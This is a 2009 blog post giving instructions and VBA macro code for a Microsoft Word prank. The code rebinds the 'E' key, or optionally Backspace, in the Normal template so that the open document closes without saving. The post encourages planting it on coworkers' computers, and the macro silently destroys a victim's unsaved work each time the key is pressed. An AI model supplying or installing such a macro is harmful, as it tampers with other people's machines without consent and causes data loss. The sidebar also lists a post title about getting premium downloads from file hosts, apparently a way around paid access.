Beautynetkorea

Saturday, October 24, 2009

Remap ‘E’ Key to close Microsoft Word Prank

 ana05     October 24, 2009     Small Hacks, Windows     No comments   

Well you have all in your life have once in your whole life have used Microsoft Word,

 

Its the most used in Offices , look this post displays a prank just to hack aka reprogram the Microsoft Word to Kill its procedure when Anyone  Hit ‘E’ Key.

 MS-Word

This computer prank will drive your office friends crazy. So hell lets do it right?

 

Steps :-

Step 1: Open up Microsoft Word

 

Step2: Press alt F11, this will open up a vba editor for word.

 

Step3: In project window on the left there should be a title “Normal” this is your default template. Select the default document underneath it.

 

Step4: Copy and past this code into the document.

Sub AddKeyBinding()
CustomizationContext = NormalTemplate

KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _

Command:="TestKeybinding"

End Sub

Sub TestKeybinding()

Dim x As Document

Set x = ActiveDocument

x.Close (False)

End Sub


Step5: Close word.

 

Step6: Enjoy.

 

NOTE : You can change the key to anything you like and below I have listed some different key options

More !!

If you want to change the key used to close the program, then its really very easy,

just change this small piece of code from the following code :-

KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE)

so you want more !!

you can even use “Backspace Key” , now any person even Bill Gates uses Backspace key in his life so there will be more possibility of this one,

KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyBackspace)

Adding-Logo-To-Word-2007-Envelop

Happy Hacking @hackerthedude

  • Share This:  
  •  Facebook
  •  Twitter
  •  Google+
  •  Stumble
  •  Digg
Email ThisBlogThis!Share to XShare to Facebook
Newer Post Older Post Home

0 Comments:

Post a Comment



Popular Posts

  • Weekend Wrap-Up
    THIS WEEK: So, this week was exhausting! I spent most of my time wiping running noses, soothing coughs, waking up in the middle of the nigh...
  • Max Factor Radiant Lift Foundation
    Radiant Lift is Max Factor's latest foundation that promises a radiant finish and all day hydration. I was sent two of the darkest shade...
  • How To Download as premium on all premium hosting !
    There have been a very long discussion on how to download on premium websites such as Rapidshare.com , MegaUpload.com , Megarotic.com and S...
  • MISSHA LINE FRIENDS EDITION: NEW PRODUCTS
    Because one release is never enough. Not too long ago, MISSHA released a load of cute products in collaboration with LINE . This is the seco...
  • FARMASI Matte Liquid Lipsticks
    Od siječnja stižu upiti u inbox na Facebooku o Farmasi tekućim mat ruževima. Svi su se zanimali za njih, nitko se nije mogao dokopati ruževa...
  • New in #80 - Hair Care Edition
     JOICO K-Pak Deep Penetrating Reconstructor I used to have this product many years ago when I had highlights and then dyed my hair red and b...
  • ZAG Zodiak perfumes & bodycare
    Koliko ste se puta našli u Mulleru ili nekoj parfumeriji pred zidom parfema šnjofajući ih i sanjarili o nekom primjerku za sebe no samo prod...

Copyright © Beautynetkorea | Powered by Blogger
Design by Hardeep Asrani | Blogger Theme by NewBloggerThemes.com | Distributed By Gooyaabi Templates